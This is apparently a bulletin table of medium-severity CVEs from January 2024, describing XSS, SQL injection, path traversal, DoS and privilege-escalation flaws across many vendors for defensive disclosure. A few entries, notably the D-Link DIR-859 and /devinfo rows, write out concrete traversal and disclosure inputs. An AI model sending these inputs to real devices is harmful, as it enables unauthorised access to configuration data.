ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/costcentercreate.php, in the costcenterid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23892
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/costcentermodify.php, in the costcenterid parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23893
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/stockissuancecreate.php, in the issuancedate parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23894
ajaysharma -- cups_easy	A vulnerability has been reported in Cups Easy (Purchase & Inventory), version 1.0, whereby user-controlled inputs are not sufficiently encoded, resulting in a Cross-Site Scripting (XSS) vulnerability via /cupseasylive/stock.php, in the batchno parameter. Exploitation of this vulnerability could allow a remote attacker to send a specially crafted URL to an authenticated user and steal their session cookie credentials.	2024-01-26	6.1	CVE-2024-23896
amazon -- aws_encryption_sdk	AWS Encryption SDK for Java versions 2.0.0 to 2.2.0 and less than 1.9.0 incorrectly validates some invalid ECDSA signatures.	2024-01-19	5.3	CVE-2024-23680
any-capture -- any_sound_recorder	A vulnerability was found in Any-Capture Any Sound Recorder 2.93. It has been declared as problematic. This vulnerability affects unknown code of the component Registration Handler. The manipulation of the argument User Name/Key Code leads to memory corruption. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. VDB-251674 is the identifier assigned to this vulnerability.	2024-01-22	5.3	CVE-2024-0774
apache -- tomcat	Generation of Error Message Containing Sensitive Information vulnerability in Apache Tomcat.This issue affects Apache Tomcat: from 8.5.7 through 8.5.63, from 9.0.0-M11 through 9.0.43. Users are recommended to upgrade to version 8.5.64 onwards or 9.0.44 onwards, which contain a fix for the issue.	2024-01-19	5.3	CVE-2024-21733
apple -- ipados	An access issue was addressed with improved access restrictions. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A maliciously crafted webpage may be able to fingerprint the user.	2024-01-23	6.5	CVE-2024-23206

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
apple -- ipados	A privacy issue was addressed with improved handling of files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to access sensitive user data.	2024-01-23	6.2	CVE-2024-23223
apple -- ipados	This issue was addressed by removing the vulnerable code. This issue is fixed in tvOS 17, watchOS 10, macOS Sonoma 14, iOS 17 and iPadOS 17, macOS Ventura 13.6.4. An app may be able to bypass Privacy preferences.	2024-01-23	5.5	CVE-2023-40528
apple -- ipados	The issue was addressed with improved checks. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. Processing a maliciously crafted image may result in disclosure of process memory.	2024-01-23	5.5	CVE-2023-42888
apple -- ipados	This issue was addressed with improved redaction of sensitive information. This issue is fixed in watchOS 10.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to access sensitive user data.	2024-01-23	5.5	CVE-2024-23207
apple -- macos	An access issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Ventura 13.6.4, macOS Sonoma 14.2. An app may be able to read arbitrary files.	2024-01-23	6.3	CVE-2023-42887
apple -- macos	The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.3, macOS Ventura 13.6.4. An app may be able to access sensitive user data.	2024-01-23	5.5	CVE-2024-23224
autolab -- eventprime	Autolab is a course management service that enables instructors to offer autograded programming assignments to their students over the Web. Path traversal vulnerabilities were discovered in Autolab's assessment functionality in versions of Autolab prior to 2.12.0, whereby instructors can perform arbitrary file reads. Version 2.12.0 contains a patch. There are no feasible workarounds for this issue.	2024-01-22	4.9	CVE-2023-44395
beijing_baichuo -- smart_s210_management_platform	A vulnerability has been found in Beijing Baichuo Smart S210 Management Platform up to 20240117 and classified as critical. This vulnerability affects unknown code of the file /Tool/uploadfile.php. The manipulation of the argument file_upload leads to unrestricted upload. The attack can be initiated remotely. The	2024-01-26	6.3	CVE-2024-0939

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252184. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.			
benbusby -- whoogle_search	Whoogle Search is a self-hosted metasearch engine. In versions 0.8.3 and prior, the `element` method in `app/routes.py` does not validate the user-controlled `src_type` and `element_url` variables and passes them to the `send` method which sends a `GET` request on lines 339-343 in `requests.py`. The returned contents of the URL are then passed to and reflected back to the user in the `send_file` function on line 484, together with the user-controlled `src_type`, which allows the attacker to control the HTTP response content type leading to a cross-site scripting vulnerability. An attacker could craft a special URL to point to a malicious website and send the link to a victim. The fact that the link would contain a trusted domain (e.g. from one of public Whoogle instances) could be used to trick the user into clicking the link.The malicious website could, for example, be a copy of a real website, meant to steal a person's credentials to the website, or trick that person in another way. Version 0.8.4 contains a patch for this issue.	2024-01-23	6.1	CVE-2024-22417
benbusby -- whoogle_search	Whoogle Search is a self-hosted metasearch engine. Versions 0.8.3 and prior have a limited file write vulnerability when the configuration options in Whoogle are enabled. The `config` function in `app/routes.py` does not validate the user-controlled `name` variable on line 447 and `config_data` variable on line 437. The `name` variable is insecurely concatenated in `os.path.join`, leading to path manipulation. The POST data from the `config_data` variable is saved with `pickle.dump` which leads to a limited file write. However, the data that is saved is earlier transformed into a dictionary and the `url` key value pair is added before the file is saved on the system. All in all, the issue allows us to save and overwrite files on the system that the application has permissions to, with a dictionary containing arbitrary data and the `url` key value, which is a limited file write. Version 0.8.4 contains a patch for this issue.	2024-01-23	5.3	CVE-2024-22204
byzoro -- smart_s150_firmware	A vulnerability classified as problematic has been found in Beijing Baichuo Smart S150 Management Platform V31R02B15. This affects an unknown part of the file /log/download.php of the component Backup File Handler. The manipulation leads to information disclosure. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The identifier VDB-251541 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-19	5.3	CVE-2024-0716
canonical_ltd. -- ubuntu_pipewire-pulse	Ubuntu's pipewire-pulse in snap grants microphone access even when the snap interface for audio-record is not set.	2024-01-24	5.5	CVE-2022-4964
cisco -- cisco_small_business_smart_and_managed_switches	A vulnerability with the access control list (ACL) management within a stacked switch configuration of Cisco Business 250 Series Smart Switches and Business 350 Series Managed Switches could allow an unauthenticated, remote attacker to bypass protection offered by a configured ACL on an affected device. This vulnerability is due to incorrect processing of ACLs on a stacked configuration when either the primary or backup switches experience a full stack reload or power cycle. An attacker could exploit this vulnerability by sending crafted traffic through an affected device. A successful exploit could allow the attacker to bypass configured ACLs, causing traffic to be dropped or forwarded in an unexpected manner. The attacker does not have control over the conditions that result in the device being in the vulnerable state. Note: In the vulnerable state, the ACL would be correctly applied on the primary devices but could be incorrectly applied to the backup devices.	2024-01-26	5.8	CVE-2024-20263 ykramarz@cisco.com

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
cisco -- cisco_unity_connection	A vulnerability in the web-based management interface of Cisco Unity Connection could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the interface. This vulnerability exists because the web-based management interface does not properly validate user-supplied input. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.	2024-01-26	4.8	CVE-2024-20305 ykramarz@cisco.com
code-projects -- social_networking_site	A vulnerability was found in code-projects Social Networking Site 1.0 and classified as problematic. Affected by this issue is some unknown functionality of the file message.php of the component Message Page. The manipulation of the argument Story leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251546 is the identifier assigned to this vulnerability.	2024-01-19	5.4	CVE-2024-0722
consensys -- discovery	Consensys Discovery versions less than 0.4.5 uses the same AES/GCM nonce for the entire session. which should ideally be unique for every message. The node's private key isn't compromised, only the session key generated for specific peer communication is exposed.	2024-01-19	5.3	CVE-2024-23688
cozmoslabs -- profile_builder_pro	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Cozmoslabs Profile Builder Pro. This issue affects Profile Builder Pro: from n/a through 3.10.0.	2024-01-24	6.5	CVE-2024-22141
d-link -- dir-816_a2	A vulnerability has been found in D-Link DIR-816 A2 1.10CNB04 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /goform/setDeviceSettings of the component Web Interface. The manipulation of the argument statuscheckpppoeuser leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252139.	2024-01-26	4.7	CVE-2024-0921
d-link-- dir-859 1.06B01	** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in D-Link DIR-859 1.06B01. It has been rated as critical. Affected by this issue is some unknown functionality of the file /hedwig.cgi of the component HTTP POST Request Handler. The manipulation of the argument service with the input ../../../../htdocs/webinc/getcfg/DHCPS6.BRIDGE-1.xml leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251666 is the identifier assigned to this vulnerability. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.	2024-01-21	5.3	CVE-2024-0769
dell -- dell_pair	Dell Pair Installer version prior to 1.2.1 contains an elevation of privilege vulnerability. A low privilege user with local access to the system could potentially exploit this vulnerability to delete arbitrary files and result in Denial of Service.	2024-01-24	6.6	CVE-2023-44281
dlink -- dir-825acg1_firmware	A vulnerability classified as critical was found in D-Link DAP-1360, DIR-300, DIR-615, DIR-615GF, DIR-615S, DIR-615T, DIR-620, DIR-620S, DIR-806A, DIR-815, DIR-815AC, DIR-815S, DIR-816, DIR-820, DIR-822, DIR-825, DIR-825AC, DIR-825ACF, DIR-825ACG1, DIR-841, DIR-842, DIR-842S, DIR-843, DIR-853, DIR-878, DIR-882, DIR-1210, DIR-1260, DIR-2150, DIR-X1530, DIR-X1860, DSL-224, DSL-245GR, DSL-2640U, DSL-2750U, DSL-G2452GR, DVG-5402G, DVG-5402G, DVG-5402GFRU, DVG-N5402G, DVG-N5402G-IL, DWM-312W, DWM-321, DWR-921, DWR-953 and Good Line Router v2 up to 20240112. This vulnerability affects unknown code of the file /devinfo of the component HTTP GET Request Handler. The manipulation of the argument area with the input notice|net|version leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251542 is the identifier assigned to this vulnerability.	2024-01-19	5.3	CVE-2024-0717

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
efs -- easy_file_sharing_ftp_3.6	A vulnerability classified as problematic has been found in EFS Easy File Sharing FTP 3.6. This affects an unknown part of the component Login. The manipulation of the argument password leads to denial of service. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251559.	2024-01-19	5.3	CVE-2024-0736
elijahharry -- hoolock	hoolock is a suite of lightweight utilities designed to maintain a small footprint when bundled. Starting in version 2.0.0 and prior to version 2.2.1, utility functions related to object paths (`get`, `set`, and `update`) did not block attempts to access or alter object prototypes. Starting in version 2.2.1, the `get`, `set` and `update` functions throw a `TypeError` when a user attempts to access or alter inherited properties.	2024-01-22	6.3	CVE-2024-23339
european_chemicals_agency -- IUCLID	A vulnerability, which was classified as critical, was found in European Chemicals Agency IUCLID 7.10.3 on Windows. Affected is an unknown function of the file iuclid6.exe of the component Desktop Installer. The manipulation leads to incorrect default permissions. The attack needs to be approached locally. VDB-251670 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-21	4.4	CVE-2024-0770
factominer -- factoinvestigate	A vulnerability, which was classified as problematic, was found in FactoMineR FactoInvestigate up to 1.9. Affected is an unknown function of the component HTML Report Generator. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251544. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-19	6.1	CVE-2024-0720
flink-extended -- ai-flow	A vulnerability was found in flink-extended ai-flow 0.3.1. It has been declared as critical. Affected by this vulnerability is the function cloudpickle.loads of the file \ai_flow\cli\commands\workflow_command.py. The manipulation leads to deserialization. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The identifier VDB-252205 was assigned to this vulnerability.	2024-01-27	5	CVE-2024-0960
fusionpbx -- fusionpbx	FusionPBX prior to 5.1.0 contains a cross-site scripting vulnerability. If this vulnerability is exploited by a remote authenticated attacker with an administrative privilege, an arbitrary script may be executed on the web browser of the user who is logging in to the product.	2024-01-19	4.8	CVE-2024-23387 vultures@jpcert.or.jp vultures@jpcert.or.jp vultures@jpcert.or.jp
gitlab -- gitlab	An issue has been discovered in GitLab CE/EE affecting all versions after 13.7 before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. Improper input sanitization of user name allows arbitrary API PUT requests.	2024-01-26	6.4	CVE-2023-5933
gitlab -- gitlab	An issue has been discovered in GitLab CE/EE affecting all versions from 12.7 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 It was possible for an attacker to trigger a Regular Expression Denial of Service via a `Cargo.toml` containing maliciously crafted input.	2024-01-26	6.5	CVE-2023-6159
gitlab -- gitlab	An issue has been discovered in GitLab affecting all versions before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. It was possible to read the user email address via tags feed although the visibility in the user profile has been disabled.	2024-01-26	5.3	CVE-2023-5612
gitlab -- gitlab	An authorization vulnerability exists in GitLab versions 14.0 prior to 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. An unauthorized attacker is able to assign arbitrary users to MRs that they created within the project	2024-01-26	4.3	CVE-2024-0456

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
go4rayyan -- scumblr	A vulnerability, which was classified as problematic, has been found in go4rayyan Scumblr up to 2.0.1a. Affected by this issue is some unknown functionality of the component Task Handler. The manipulation leads to cross site scripting. The attack may be launched remotely. Upgrading to version 2.0.2 is able to address this issue. The patch is identified as 5c9120f2362ddb7cbe48f2c4620715adddc4ee35. It is recommended to upgrade the affected component. VDB-251570 is the identifier assigned to this vulnerability.	2024-01-21	6.1	CVE-2016-15037
gravitymaster -- product_enquiry_for_woocommerce	The Product Enquiry for WooCommerce WordPress plugin before 3.1 does not have a CSRF check in place when deleting inquiries, which could allow attackers to make a logged in admin delete them via a CSRF attack	2024-01-22	4.3	CVE-2023-6625
gravitymaster -- product_enquiry_for_woocommerce	The Product Enquiry for WooCommerce WordPress plugin before 3.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)	2024-01-22	4.8	CVE-2023-6626
hewlett_packard_enterprise -- hpe_oneview	HPE OneView may have a missing passphrase during restore.	2024-01-23	5.5	CVE-2023-6573 security-alert@hpe.com
hongmaple -- octopus	A vulnerability was found in hongmaple octopus 1.0. It has been classified as critical. Affected is an unknown function of the file /system/role/list. The manipulation of the argument dataScope leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. This product is using a rolling release to provide continuous delivery. Therefore, no version details for affected nor updated releases are available. The identifier of this vulnerability is VDB-251700.	2024-01-22	6.3	CVE-2024-0784
hongmaple -- octopus	A vulnerability was found in hongmaple octopus 1.0. It has been classified as critical. Affected is an unknown function of the file /system/dept/edit. The manipulation of the argument ancestors leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Continuous delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. VDB-252042 is the identifier assigned to this vulnerability.	2024-01-25	6.3	CVE-2024-0890
honojs -- node-server	@hono/node-server is an adapter that allows users to run Hono applications on Node.js. Since v1.3.0, @hono/node-server has used its own Request object with `url` behavior that is unexpected. In the standard API, if the URL contains `..`, here called "double dots", the URL string returned by Request will be in the resolved path. However, the `url` in @hono/node-server's Request as does not resolve double dots, so `http://localhost/static/.. /foo.txt` is returned. This causes vulnerabilities when using `serveStatic`. Modern web browsers and a latest `curl` command resolve double dots on the client side, so this issue doesn't affect those using either of those tools. However, problems may occur if accessed by a client that does not resolve them. Version 1.4.1 includes the change to fix this issue. As a workaround, don't use `serveStatic`.	2024-01-22	5.3	CVE-2024-23340
humansignal -- label-studio	Label Studio, an open source data labeling tool had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. Prior to version 1.10.1, this feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website. Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image. `data_import/uploader.py` lines 125C5 through 146 showed that if a URL passed the server side request forgery verification checks, the contents of the file would be downloaded using the filename in the URL. The downloaded file path	2024-01-24	4.7	CVE-2024-23633

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	could then be retrieved by sending a request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]` where `{project_id}` was the ID of the project and `{download_id}` was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, `data_import/api.py`lines 595C1 through 616C62 demonstrated that the `Content-Type` of the response was determined by the file extension, since `mimetypes.guess_type` guesses the `Content-Type` based on the file extension. Since the `Content-Type` was determined by the file extension of the downloaded file, an attacker could import in a `.html` file that would execute JavaScript when visited. Version 1.10.1 contains a patch for this issue. Other remediation strategies are also available. For all user provided files that are downloaded by Label Studio, set the `Content-Security-Policy: sandbox;` response header when viewed on the site. The `sandbox` directive restricts a page's actions to prevent popups, execution of plugins and scripts and enforces a `same-origin` policy. Alternatively, restrict the allowed file extensions that may be downloaded.			
i3thuan5 -- tuitse-tsusin	TuiTse-TsuSin is a package for organizing the comparative corpus of Taiwanese Chinese characters and Roman characters, and extracting sentences of the Taiwanese Chinese characters and the Roman characters. Prior to version 1.3.2, when using `tuitse_html` without quoting the input, there is a html injection vulnerability. Version 1.3.2 contains a patch for the issue. As a workaround, sanitize Taigi input with HTML quotation.	2024-01-23	6.1	CVE-2024-23341
ibm -- db2	IBM Db2 10.1, 10.5, and 11.1 could allow a remote user to execute arbitrary code caused by installing like named jar files across multiple databases. A user could exploit this by installing a malicious jar file that overwrites the existing like named jar file in another database. IBM X-Force ID: 249205.	2024-01-22	6.5	CVE-2023-27859
ibm -- db2	IIBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 270264.	2024-01-22	6.5	CVE-2023-47141
ibm -- db2	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 270750.	2024-01-22	6.5	CVE-2023-47158
ibm -- db2	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272644.	2024-01-22	6.5	CVE-2023-47746
ibm -- db2	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272646.	2024-01-22	6.5	CVE-2023-47747
ibm -- db2	IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) 11.5 under certain circumstances could allow an authenticated user to the database to cause a denial of service when a statement is run on columnar tables. IBM X-Force ID: 273393.	2024-01-22	6.5	CVE-2023-50308
ibm -- maximo_application_suite	IBM Maximo Spatial Asset Management 8.10 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 255288.	2024-01-19	5.4	CVE-2023-32337
ibm -- sterling_control_center	IBM Sterling Control Center 6.3.0 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to view arbitrary files on the system. IBM X-Force ID: 257874.	2024-01-19	5.3	CVE-2023-35020

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
ibm -- storage_defender_data_protect	IBM Storage Defender - Data Protect 1.0.0 through 1.4.1 is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers. This could allow an attacker to conduct various attacks against the vulnerable system, including cross-site scripting, cache poisoning or session hijacking. IBM X-Force ID: 276101.	2024-01-19	5.4	CVE-2023-50963
icehrm -- icehrm	IceHrm 23.0.0.OS does not sufficiently encode user-controlled input, which creates a Cross-Site Scripting (XSS) vulnerability via /icehrm/app/fileupload_page.php, in multiple parameters. An attacker could exploit this vulnerability by sending a specially crafted JavaScript payload and partially hijacking the victim's browser.	2024-01-25	5.4	CVE-2023-6282
ignazio_scimone -- albo_pretorio_on_line	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Ignazio Scimone Albo Pretorio On line.This issue affects Albo Pretorio On line: from n/a through 4.6.6.	2024-01-24	5.3	CVE-2024-22301
intel -- HIDPevent_filter	Insecure inherited permissions in some Intel HID Event Filter drivers for Windows 10 for some Intel NUC laptop software installers before version 2.2.2.1 may allow an authenticated user to potentially enable escalation of privilege via local access.	2024-01-19	6.7	CVE-2023-38541 secure@intel.com
intel -- integrated_sensor_hub	Incorrect default permissions in some Intel Integrated Sensor Hub (ISH) driver for Windows 10 for Intel NUC P14E Laptop Element software installers before version 5.4.1.4479 may allow an authenticated user to potentially enable escalation of privilege via local access.	2024-01-19	6.7	CVE-2023-29244 secure@intel.com
intel -- nuc_bios	Improper buffer restrictions for some Intel NUC BIOS firmware before version IN0048 may allow a privileged user to potentially enable escalation of privilege via local access.	2024-01-19	6.7	CVE-2023-28722 secure@intel.com
iobit -- iobit_malware_fighter	IObit Malware Fighter v11.0.0.1274 is vulnerable to a Denial of Service vulnerability by triggering the 0x8001E00C IOCTL code of the ImfHpRegFilter.sys driver.	2024-01-22	5.5	CVE-2024-0430 help@fluidattacks.com help@fluidattacks.com
ip2location -- ip2location_country_blocker	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in IP2Location IP2Location Country Blocker. This issue affects IP2Location Country Blocker: from n/a through 2.33.3.	2024-01-24	5.3	CVE-2024-22294
ipb-halle -- molecularfaces	MolecularFaces before 0.3.0 is vulnerable to cross site scripting. A remote attacker can execute arbitrary JavaScript in the context of a victim browser via crafted molfiles.	2024-01-19	6.1	CVE-2024-0758
jspxcms -- jspxcms	A vulnerability has been found in Jspxcms 10.2.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the component Survey Label Handler. The manipulation leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251545 was assigned to this vulnerability.	2024-01-19	6.1	CVE-2024-0721
juniper_networks -- junos_os	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than	2024-01-25	5.3	CVE-2024-21619

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.			
jupyter -- jupyterlab	JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook and Architecture. This vulnerability depends on user interaction by opening a malicious Markdown file using JupyterLab preview feature. A malicious user can access any data that the attacked user has access to as well as perform arbitrary requests acting as the attacked user. JupyterLab version 4.0.11 has been patched. Users are advised to upgrade. Users unable to upgrade should disable the table of contents extension.	2024-01-19	6.1	CVE-2024-22420
jupyter -- jupyterlab	JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook and Architecture. Users of JupyterLab who click on a malicious link may get their `Authorization` and `XSRFToken` tokens exposed to a third party when running an older `jupyter-server` version. JupyterLab versions 4.1.0b2, 4.0.11, and 3.6.7 are patched. No workaround has been identified, however users should ensure to upgrade `jupyter-server` to version 2.7.2 or newer which includes a redirect vulnerability fix.	2024-01-19	6.5	CVE-2024-22421
kmint21 -- golden_ftp_server	A vulnerability was found in Kmint21 Golden FTP Server 2.02b and classified as problematic. This issue affects some unknown processing of the component PASV Command Handler. The manipulation leads to denial of service. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252041 was assigned to this vulnerability.	2024-01-25	5.3	CVE-2024-0889
lantronix -- xport	Lantronix XPort sends weakly encoded credentials within web request headers.	2024-01-23	5.7	CVE-2023-7237 ics-cert@hq.dhs.gov ics-cert@hq.dhs.gov
lenovo -- app_store	An incorrect permissions vulnerability was reported in the Lenovo App Store app that could allow an attacker to use system resources, resulting in a denial of service.	2024-01-19	5.5	CVE-2023-6450
lenovo -- vantage	A privilege escalation vulnerability was reported in Lenovo Vantage that could allow a local attacker with physical access to impersonate Lenovo Vantage Service and execute arbitrary code with elevated privileges.	2024-01-19	6.8	CVE-2023-6044
linecorp -- line	An issue in nature fitness saijo mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token.	2024-01-24	5.4	CVE-2023-43988
linecorp -- line	An issue in mokumoku chohu mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token.	2024-01-24	5.4	CVE-2023-43989
linecorp -- line	An issue in cherub-hair mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token.	2024-01-24	5.4	CVE-2023-43990
linecorp -- line	An issue in PRIMA CLINIC mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token.	2024-01-24	5.4	CVE-2023-43991
linecorp -- line	An issue in STOCKMAN GROUP mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token.	2024-01-24	5.4	CVE-2023-43992
linecorp -- line	An issue in smaregi_app_market mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token.	2024-01-24	5.4	CVE-2023-43993
linecorp -- line	An issue in Cleaning_makotoya mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token.	2024-01-24	5.4	CVE-2023-43994
linecorp -- line	An issue in picot.golf mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token.	2024-01-24	5.4	CVE-2023-43995

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
linecorp -- line	An issue in Q co ltd mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token.	2024-01-24	5.4	CVE-2023-43996
linecorp -- line	An issue in Yoruichi hobby base mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token.	2024-01-24	5.4	CVE-2023-43997
linecorp -- line	An issue in Books-futaba mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token.	2024-01-24	5.4	CVE-2023-43998
linecorp -- line	An issue in COLORFUL_laundry mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token.	2024-01-24	5.4	CVE-2023-43999
linecorp -- line	An issue in Otakara lapis totuka mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token.	2024-01-24	5.4	CVE-2023-44000
linecorp -- line	An issue in Ailand clinic mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel access token.	2024-01-24	5.4	CVE-2023-44001
linux -- kernel	A use-after-free flaw was found in the __ext4_remount in fs/ext4/super.c in ext4 in the Linux kernel. This flaw allows a local user to cause an information leak problem while freeing the old quota file names before a potential failure, leading to a use-after-free.	2024-01-22	6.7	CVE-2024-0775
linux -- kernel	NULL Pointer Dereference vulnerability in Linux Linux kernel kernel on Linux, x86, ARM (net, bluetooth modules) allows Overflow Buffers. This vulnerability is associated with program files /net/bluetooth/rfcomm/core.C. This issue affects Linux kernel: v2.6.12-rc2.	2024-01-25	6.3	CVE-2024-22099 security@openanolis.org
